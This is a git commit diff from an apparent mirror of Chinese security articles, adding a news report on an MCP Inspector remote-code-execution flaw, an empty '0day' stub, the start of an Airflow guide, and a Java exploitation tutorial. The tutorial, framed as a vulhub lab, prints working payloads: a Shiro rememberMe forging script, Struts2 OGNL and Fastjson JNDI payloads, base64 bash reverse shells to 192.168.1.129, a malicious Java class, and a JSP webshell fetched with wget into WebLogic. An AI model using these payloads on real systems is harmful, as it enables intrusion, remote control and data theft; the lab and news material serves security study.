mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
MCP工具链首个严重漏洞?一个钓鱼网页,远程劫持开发者电脑、【0DAY漏洞复现】某款网络设备存在命令执行漏洞、.NET 介绍一种隐蔽的命令执行方式,通过 LINQ 投影执行动态加载、JAVA常见漏洞复现、【星球专享】手把手复现 Apache Airflow 漏洞指南-(CVE-2022–40604)、
This commit is contained in:
1 parent
93cb981ca8
commit
6e695df9c5
6 files changed
+602
-2
No files matched your search
@@ -15774,5 +15774,10 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg5OTYxMjk0Mw==&mid=2247490802&idx=1&sn=102c4f427b3434196bc45fac750ee05e": "插件前台任意文件读取漏洞复现与分析 (CVE-2025-2294)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649795612&idx=1&sn=bd2ec5afa78de18935e0be3b142b5f54": "Houken 黑客组织利用 Ivanti 0day漏洞安装 Linux Rootkit",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651324107&idx=1&sn=f89429997e0347cfe1580cc8ca6e858b": "Nessus严重漏洞允许覆盖任意本地系统文件",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUzOTE2OTM5Mg==&mid=2247490433&idx=1&sn=6ea78f033857836e66b0fa5bb027102e": "【已复现】Linux sudo存在本地提权漏洞(CVE-2025-32463)"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUzOTE2OTM5Mg==&mid=2247490433&idx=1&sn=6ea78f033857836e66b0fa5bb027102e": "【已复现】Linux sudo存在本地提权漏洞(CVE-2025-32463)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247514631&idx=1&sn=fd5a357122fb4f7943b832c639bc9e1a": "MCP工具链首个严重漏洞?一个钓鱼网页,远程劫持开发者电脑",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0MjU5NTY2MQ==&mid=2247484397&idx=1&sn=02ae9d7fb38d1998b6e39568727b16de": "【0DAY漏洞复现】某款网络设备存在命令执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyOTc3NTQ5MA==&mid=2247499995&idx=3&sn=afa5da2f0b688c70a82e89e06a22e9c4": ".NET 介绍一种隐蔽的命令执行方式,通过 LINQ 投影执行动态加载",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2MjY1ODEwMA==&mid=2247492212&idx=1&sn=d5b473f62fc06b60c4bf8a71d3bd2de1": "JAVA常见漏洞复现",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5Mzc4MzUzMQ==&mid=2650261384&idx=1&sn=4f91cc15ac8ab344b7d926dd5c872297": "【星球专享】手把手复现 Apache Airflow 漏洞指南-(CVE-2022–40604)"
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
# .NET 介绍一种隐蔽的命令执行方式,通过 LINQ 投影执行动态加载
|
||||
原创 专攻.NET安全的 dotNet安全矩阵 2025-07-01 00:31
|
||||
原创 专攻.NET安全的 dotNet安全矩阵 2025-07-02 01:05
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,350 @@
|
||||
# JAVA常见漏洞复现
|
||||
quan9i 知微守望 2025-07-03 09:40
|
||||
|
||||
# Shiro
|
||||
## Shiro 550
|
||||
### 漏洞原理
|
||||
|
||||
**Shiro550**
|
||||
漏洞原理是Shiro框架提供了一种记住密码(Rememberme)的功能,用户登录成功后会生成经过加密的Cookie值,对Remembe的Cookie进行AES解密、Base64解密后再反序列化,就导致了反序列化RCE漏洞 。 Shiro<1.2.4版本,其使用的密钥为固定密钥Shiro550kPH+bIxk5D2deZiIxcaaaA==
|
||||
,这就更容易导致RCE漏洞
|
||||
### 漏洞复现
|
||||
|
||||
用vulhub复现
|
||||
```
|
||||
cd vulhub/shiro/CVE-2016-4437
|
||||
```
|
||||
|
||||
而后开启服务
|
||||
```
|
||||
docker-compose up -d //-d是后台运行,加不加皆可
|
||||
```
|
||||
|
||||

|
||||
|
||||
访问
|
||||
|
||||

|
||||
#### 脚本
|
||||
|
||||
攻击端开启监听
|
||||
|
||||

|
||||
|
||||
而后构造反弹shell语句,在线生成编码后的反弹shell网站
|
||||
|
||||
https://ares-x.com/tools/runtime-exec
|
||||
```
|
||||
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}//bash -c {echo,bash -i >& /dev/tcp/192.168.1.129/6666 0>&1}|{base64,-d}|{bash,-i}
|
||||
```
|
||||
|
||||
而后通过ysoserial
|
||||
工具的JRMP监听6666端口并执行反弹shell指令
|
||||
|
||||
**这里我们相当于在攻击机上启动了一个VPS服务,监听7777端口,然后在这个服务上放了一个反弹shell的payload,并用序列化工具ysoserial指定 CommonsCollections5 利用链生成可执行bash -i >& /dev/tcp/192.168.200.131/6666 0>&1命令的序列化数据payload1。当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。**
|
||||
```
|
||||
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener7777CommonsCollections5"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}"
|
||||
```
|
||||
|
||||

|
||||
|
||||
接下来去利用密钥伪造**rememberMe**
|
||||
字段,脚本如下
|
||||
```
|
||||
import sysimport uuidimport base64import subprocessfrom Crypto.Cipher import AESdefencode_rememberme(command): popen = subprocess.Popen(['java','-jar','ysoserial-all.jar','JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad =lambda s: s +((BS -len(s)% BS)*chr(BS -len(s)% BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))return base64_ciphertextif __name__ =='__main__': payload = encode_rememberme(sys.argv[1])print"rememberMe={0}".format(payload.decode())
|
||||
```
|
||||
|
||||
而后运行**python2 shiro.py 192.168.1.129 7777**
|
||||
|
||||

|
||||
|
||||
接下来对网站进行抓包,在Cookie中添加我们伪造的**rememberMe**
|
||||
参数
|
||||
|
||||

|
||||
|
||||
此时查看,已成功反弹shell。
|
||||
#### 自动化工具
|
||||
|
||||

|
||||
## Shiro 721
|
||||
### 漏洞原理
|
||||
|
||||
在用户进行登录的时候,Apache Shiro提供Rememberme功能,可以存储cookie,期间使用的是AES-128-CBC进行加密,可以通过Padding Oracle加密生成的攻击代码来重新构造一个恶意的rememberMe字段,重新请求网站,进行反序列化攻击,最终导致任意代码的执行。
|
||||
|
||||
Shiro721是使用 登录后rememberMe= {value}去爆破正确的key值 进而反序列化,shiro721 本质上是 padding attack,爆破要弄很久。对比Shiro550条件只要有 足够密钥库 (条件较低)、Shiro721需要登录(要求较高 )。
|
||||
# Struts2
|
||||
## 漏洞原理
|
||||
|
||||
Struts2 漏洞的原理是由于 Struts2 框架中的一个组件,即 OGNL(Object-Graph Navigation Language) 表达式解析器,存在漏洞。OGNL 是一种强大的表达式语言,它允许开发人员在 Struts2 应用程序中使用动态表达式来访问和操作对象。但是,由于 OGNL 表达式解析器的实现不够安全,攻击者可以通过构造恶意 OGNL 表达式来执行任意代码。例如:**当用户提交表单数据并验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。**
|
||||
## 漏洞检测
|
||||
```
|
||||
.do或者 .action 的网站后缀
|
||||
```
|
||||
## 漏洞复现
|
||||
#### s2-001
|
||||
|
||||
使用Vuldb靶场进行复现
|
||||
```
|
||||
cd vulhub/struts2/s2-001
|
||||
```
|
||||
|
||||
而后开启容器
|
||||
```
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||

|
||||
|
||||
输入**%{1+2}**,结果变成3
|
||||
|
||||

|
||||
|
||||
说明解析了,存在漏洞,查询tomact路径
|
||||
```
|
||||
%{"tomcatBinDir{"[email protected]@getProperty("user.dir")+"}"}
|
||||
```
|
||||
|
||||

|
||||
|
||||
回显**tomcatBinDir{/usr/local/tomcat}**,成功实现命令执行
|
||||
#### s2-053
|
||||
```
|
||||
cd vulhub/struts2/s2-053docker-compose up -d
|
||||
```
|
||||
|
||||

|
||||
|
||||
访问环境**hello.action**
|
||||
|
||||

|
||||
|
||||
接下来查看监听
|
||||
|
||||

|
||||
#### S2-061
|
||||
|
||||
开启环境用vulhub
|
||||
```
|
||||
cd vulhub/struts2/s2-061docker-compose up -d
|
||||
```
|
||||
|
||||
接下来抓包,而后修改为POST请求,发送反弹shell恶意指令
|
||||
```
|
||||
------WebKitFormBoundaryl7d1B1aGsV2wcZwFContent-Disposition: form-data; name="id"%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}------WebKitFormBoundaryl7d1B1aGsV2wcZwF--
|
||||
```
|
||||
|
||||

|
||||
# Fastjson
|
||||
## 漏洞原理
|
||||
|
||||
目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,这就给了攻击者可乘之机,构造对应的 payload ,让系统执行,然后达到代码执行,甚至命令执行的目的。
|
||||
|
||||
**攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行**
|
||||
。
|
||||
|
||||
知识科普
|
||||
|
||||
**JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。**
|
||||
|
||||
**RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。**
|
||||
|
||||
**RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过factory类将Reference转换为具体的对象实例。**
|
||||
## 漏洞复现
|
||||
```
|
||||
cd vulhub/fastjson/1.2.24-rcedocker-compose up -d
|
||||
```
|
||||
|
||||
访问环境
|
||||
|
||||

|
||||
|
||||
在攻击机模拟json发送post请求
|
||||
```
|
||||
curl http://192.168.1.129:8090/-H"Content-Type: application/json"--data '{"name":"karsa", "age":22}'
|
||||
```
|
||||
|
||||

|
||||
|
||||
验证漏洞存在,接下来去打
|
||||
|
||||
首先编辑恶意java代码
|
||||
```
|
||||
// javac TouchFile.javaimportjava.lang.Runtime;importjava.lang.Process;publicclassTouchFile{static{try{Runtime rt =Runtime.getRuntime();String[] commands ={"touch","/tmp/success"};Process pc = rt.exec(commands); pc.waitFor();}catch(Exception e){// do nothing}}}
|
||||
```
|
||||
|
||||
对文件进行编译
|
||||
```
|
||||
javac TouchFile.java
|
||||
```
|
||||
|
||||
搭建HTTP服务传输文件
|
||||
```
|
||||
python -m SimpleHTTPServer 1387
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
接下来利用java反序列化工具
|
||||
```
|
||||
git clone https://github.com/mbechler/marshalsec.git 下载marshalsecapt-get install maven 安装mavenmvn clean package-DskipTests 使用maven编译marshalsec成jar包
|
||||
```
|
||||
|
||||
启动RMI服务器,监听9999端口
|
||||
```
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer"http://192.168.1.129:1387/#TouchFile"9999
|
||||
```
|
||||
|
||||

|
||||
|
||||
而后抓包,修改为POST请求,修改**Content-Type为 application/json**
|
||||
,而后传输如下数据
|
||||
```
|
||||
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.1.129:9999/TouchFile","autoCommit":true}}
|
||||
```
|
||||
|
||||

|
||||
|
||||
而后查看容器中的/tmp下已成功生成**success**
|
||||
,反弹shell同理,只需要更改代码即可
|
||||
```
|
||||
// javac TouchFile.javaimportjava.lang.Runtime;importjava.lang.Process;publicclassTouchFile{static{try{Runtime rt =Runtime.getRuntime();String[] commands ={"/bin/bash","-c","bash -i >& /dev/tcp/192.168.1.129/6666 0>&1"};Process pc = rt.exec(commands); pc.waitFor();}catch(Exception e){// do nothing}}}
|
||||
```
|
||||
# Log4j2
|
||||
## 漏洞原理
|
||||
|
||||
log4j2框架下的**lookup查询服务**
|
||||
提供了**{}**字段解析功能,传进去的值会被直接解析。例如**
|
||||
${java:version}**会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
|
||||
|
||||
攻击者可以利用这一点进行**JNDI注入**
|
||||
,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的**.class对象**,造成了远程代码执行(可反弹shell到指定服务器)。
|
||||
# Weblogic
|
||||
## T3反序列化漏洞
|
||||
|
||||
**Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序(客户端或者其它Weblogic Server实例)之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机(JVM)中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以**
|
||||
|
||||
**通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。**
|
||||
### 漏洞复现
|
||||
|
||||
准备反弹shell指令如下
|
||||
```
|
||||
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}//Base64编码的内容为bash -i >& /dev/tcp/192.168.1.129/6666 0>&1
|
||||
```
|
||||
|
||||
接下来开启监听
|
||||
|
||||

|
||||
|
||||
接下来利用反序列化工具**ysoserial.jar**
|
||||
```
|
||||
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener9999CommonsCollections1'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}'
|
||||
```
|
||||
|
||||

|
||||
|
||||
接下来下载Exp进行攻击,
|
||||
|
||||
**Exp地址:https://www.exploit-db.com/exploits/44553**
|
||||
|
||||
复制代码到**Exploit.py**
|
||||
中,接下来执行如下指令
|
||||
```
|
||||
python2 Exploit.py 192.168.1.1297001/tools/weblogic/ysoserial-all.jar 192.168.1.1299999JRMPClient
|
||||
```
|
||||
|
||||

|
||||
|
||||
此时查看监听处
|
||||
|
||||

|
||||
|
||||
成功反弹shell
|
||||
## XML漏洞
|
||||
#### 漏洞复现
|
||||
|
||||
Vulhub复现
|
||||
```
|
||||
cd vulhub/weblogic/CVE-2017-10271docker-compose up -d
|
||||
```
|
||||
|
||||
开启环境后访问**http://192.168.1.129:7001/_async/AsyncResponseService**
|
||||
|
||||

|
||||
|
||||
访问成功说明存在漏洞
|
||||
|
||||
写入**shell.txt**
|
||||
文件,内容如下
|
||||
```
|
||||
<%if("123".equals(request.getParameter("pwd"))){java.io.InputStream in =Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int a =-1;byte[] b =newbyte[1024]; out.print("<pre>");while((a=in.read(b))!=-1){ out.println(newString(b));} out.print("</pre>");}%>
|
||||
```
|
||||
|
||||
接下来开启http服务,使得它可以被访问
|
||||
```
|
||||
python -m SimpleHTTPServer 1387
|
||||
```
|
||||
|
||||

|
||||
|
||||
在浏览器访问
|
||||
|
||||

|
||||
|
||||
接下来就可以直接打了,更改**Content-Type为:text/xml**
|
||||
,而后传输POST数据如下
|
||||
```
|
||||
<soapenv:Envelopexmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><voidclass="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>wget http://192.168.1.129:1387/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string></void></array><void method="start"/></void></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
|
||||
```
|
||||
|
||||

|
||||
|
||||
状态202则说明成功写入,接下来去访问这个木马文件并尝试执行命令
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
成功实现命令执行
|
||||
## iiop反序列化漏洞
|
||||
|
||||
**漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。**
|
||||
## SSRF漏洞
|
||||
|
||||
**weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件**
|
||||
# 其他
|
||||
|
||||
中间出了一点小Bug,就是我没安装javac,只有java,但安装了过后发现无法运行jar包了
|
||||
|
||||

|
||||
|
||||
百度过后发现是jdk版本的问题,我们可以使用下面指令来切换JDK版本
|
||||
```
|
||||
update-alternatives --config java
|
||||
```
|
||||
|
||||

|
||||
|
||||
更改为低版本后成功运行jar包
|
||||
|
||||

|
||||
|
||||
参考链接
|
||||
```
|
||||
https://quan9i.top/post/%E5%B8%B8%E8%A7%81JAVA%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0
|
||||
```
|
||||
|
||||
真心感觉自己要学习的知识好多,也有好多大神卧虎藏龙、开源分享。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。
|
||||
|
||||
|
||||
**本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。**
|
||||
|
||||
****
|
||||
**由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!**
|
||||
|
||||
****
|
||||
**敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。**
|
||||
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
# MCP工具链首个严重漏洞?一个钓鱼网页,远程劫持开发者电脑
|
||||
安全内参编译 安全内参 2025-07-03 09:35
|
||||
|
||||
**关注我们**
|
||||
|
||||
|
||||
**带你读懂网络安全**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
研究人员发现,用于测试的MCP Inspector工具存在远程命令执行漏洞CVE-2025-49596,攻击者只需诱导开发者访问暗藏攻击代码的正常网站,即可远程劫持其电脑;
|
||||
|
||||
|
||||
数据显示,暴露在互联网上且受该漏洞影响的MCP Inspector实例为数不少,中国也有一定数量的风险实例。
|
||||
|
||||
|
||||
前情回顾·
|
||||
AI安全威胁态势
|
||||
- [实战:滥用MCP服务攻击企业AI,窃取企业内部数据](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247514575&idx=1&sn=f10507cd61978c02f006c9d9f30ef3f8&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [MCP服务泄露客户敏感数据,知名企业紧急下线修补](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247514546&idx=1&sn=9e475c8d0292ac7001b0d6491e030db9&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [首个AI Agent零点击漏洞曝光:一封邮件窃取企业AI任意敏感数据](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247514505&idx=1&sn=df286bcbf807c8444c7f8356b70aef56&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [调查:AI安全明显滞后,仅13%的企业部署了专门防护措施](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247514538&idx=1&sn=55d6168988c840b001b050b6c3f85311&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
安全内参7月3日消息,知名大模型公司Anthropic的模型上下文协议(MCP)Inspector工具日前被曝出严重漏洞,在AI开发社区引发震动。
|
||||
|
||||
该漏洞暴露了一条关键的攻击路径,黑客只需诱导开发者访问恶意网站,便可在其设备上远程执行任意代码。
|
||||
|
||||
|
||||
**CVE-2025-49596构成严重安全威胁**
|
||||
|
||||
|
||||
该漏洞被编号为CVE-2025-49596,CVSS评分高达9.4,影响所有0.14.1之前版本的MCP Inspector。
|
||||
|
||||
该漏洞由应用安全厂商Oligo Security的研究团队发现,是MCP生态系统首批严重级别的远程代码执行漏洞之一。
|
||||
|
||||

|
||||
|
||||
该漏洞的根源在于,Inspector客户端与代理服务器之间缺乏身份验证。攻击者未经身份验证,即可通过该工具的标准输入/输出接口发送的请求,从而触发任意命令的执行。
|
||||
|
||||
|
||||
**漏洞的利用方式**
|
||||
|
||||
|
||||
MCP Inspector被广泛用于调试和测试MCP服务器,而MCP服务器是支持AI代理在Python与JavaScript等平台之间协作的基础组件。
|
||||
|
||||
在默认设置下,MCP Inspector会在0.0.0.0:6277端口上运行一个HTTP服务器,允许通过任何网络接口进行访问。关键问题在于,其默认配置既无身份验证,也未启用加密,为攻击者打开了方便之门。
|
||||
|
||||

|
||||
|
||||
此次攻击利用了一项长期存在的浏览器漏洞,被称为“0.0.0.0-day”,该漏洞允许网站向本地服务发送请求。
|
||||
|
||||
攻击者可构建一个嵌入JavaScript代码的恶意网站,向MCP Inspector的SSE端点发起请求,从而指令其执行系统命令。
|
||||
|
||||
这可能导致开发者设备被完全攻陷,风险包括数据被窃取、系统被植入后门,以及在网络中横向移动。
|
||||
|
||||
Oligo Security研究员Avi Lumelsky表示:“一旦攻击者能在开发者设备上执行代码,他们便能窃取数据、安装后门,并在网络中横向移动。对AI开发团队、开源项目及依赖MCP的企业用户而言,这构成了重大风险。”
|
||||
|
||||
微软、谷歌等主要科技公司以及众多开源项目普遍依赖MCP Inspector进行AI开发。
|
||||
|
||||
研究人员还识别出了多个暴露在互联网环境中的MCP Inspector实例,证实该漏洞对个人和组织切实构成亟需解决的远程代码执行风险。
|
||||
|
||||
|
||||
**修复措施与建议**
|
||||
|
||||
|
||||
Anthropic的安全团队已迅速做出响应,并于2025年6月13日发布了0.14.1版本更新。该版本引入了基于会话令牌的身份验证机制(类似Jupyter笔记本),并加强了来源验证,旨在防止未经授权的请求并减轻跨站请求伪造(CSRF)攻击风险。
|
||||
|
||||
Anthropic强烈建议用户立即升级至0.14.1或更高版本,因为旧版本缺乏有效的替代修复方案。
|
||||
|
||||
此次事件再次凸显了默认安全配置的重要性,以及开发工具暴露在localhost情况下可能带来的风险。
|
||||
|
||||
开发者与组织必须确保其MCP Inspector已更新至安全版本,并避免将其暴露在不受信任的网络环境中。
|
||||
|
||||
随着AI生态系统的日益成熟,实施稳健的安全实践对于维护关键开发基础设施的完整性至关重要。
|
||||
|
||||
|
||||
**参考资料:gbhackers.com**
|
||||
|
||||
|
||||
**推荐阅读**
|
||||
- [网安智库平台长期招聘兼职研究员](http://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247499450&idx=2&sn=2da3ca2e0b4d4f9f56ea7f7579afc378&chksm=ebfab99adc8d308c3ba6e7a74bd41beadf39f1b0e38a39f7235db4c305c06caa49ff63a0cc1d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
- [欢迎加入“安全内参热点讨论群”](https://mp.weixin.qq.com/s?__biz=MzI4NDY2MDMwMw==&mid=2247501251&idx=1&sn=8b6ebecbe80c1c72317948494f87b489&chksm=ebfa82e3dc8d0bf595d039e75b446e14ab96bf63cf8ffc5d553b58248dde3424fb18e6947440&token=525430415&lang=zh_CN&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
点击下方卡片关注我们,
|
||||
|
||||
带你一起读懂网络安全 ↓
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
# 【0DAY漏洞复现】某款网络设备存在命令执行漏洞
|
||||
什么安全 什么安全 2025-07-03 07:14
|
||||
|
||||
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
|
||||
|
||||
**产品描述**
|
||||
|
||||
****
|
||||
**漏洞描述**
|
||||
|
||||
****
|
||||
**Poc**
|
||||
|
||||
```
|
||||
|
||||
```
|
||||
|
||||
**漏洞复现**
|
||||
|
||||

|
||||
|
||||
****
|
||||
小
|
||||
知
|
||||
识
|
||||
|
||||
|
||||
|
||||
|
||||
**依据《刑法》第285条第3款的规定,犯提供非法侵入或者控制计算机信息罪的,处3年以下有期徒刑或者****拘役****,并处或者单处****罚金****;情节特别严重的,处3年以上7年以下有期徒刑,并处罚金。**
|
||||
|
||||

|
||||
|
||||
声
|
||||
明
|
||||
|
||||
|
||||
|
||||
**本文提供的技术参数仅供学习或运维人员对内部系统进行测试提供参考,未经授权请勿用本文提供的技术进行破坏性测试,利用此文提供的信息造成的直接或间接损失,由使用者承担。**
|
||||
|
||||
****
|
||||
@@ -0,0 +1,94 @@
|
||||
# 【星球专享】手把手复现 Apache Airflow 漏洞指南-(CVE-2022–40604)
|
||||
原创 骨哥说事 骨哥说事 2025-07-03 03:17
|
||||
|
||||
<table><tbody><tr><td data-colwidth="557" width="557" valign="top" style="word-break: break-all;"><h1 data-selectable-paragraph="" style="white-space: normal;outline: 0px;max-width: 100%;font-family: -apple-system, system-ui, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color: rgb(255, 0, 0);"><strong><span style="font-size: 15px;"><span leaf="">声明:</span></span></strong></span><span style="font-size: 15px;"></span></span></strong><span style="outline: 0px;max-width: 100%;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size: 15px;"><span leaf="">文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。</span></span></span></h1></td></tr></tbody></table>#
|
||||
|
||||
#
|
||||
|
||||
****# 防走失:https://gugesay.com/
|
||||
|
||||
******不想错过任何消息?设置星标****↓ ↓ ↓**
|
||||
****
|
||||
#
|
||||
|
||||
|
||||

|
||||
|
||||
#
|
||||
# 漏洞介绍
|
||||
|
||||
Apache Airflow 是一个用于编排复杂工作流的开放源代码平台,广泛用于数据管道和任务调度。
|
||||
|
||||
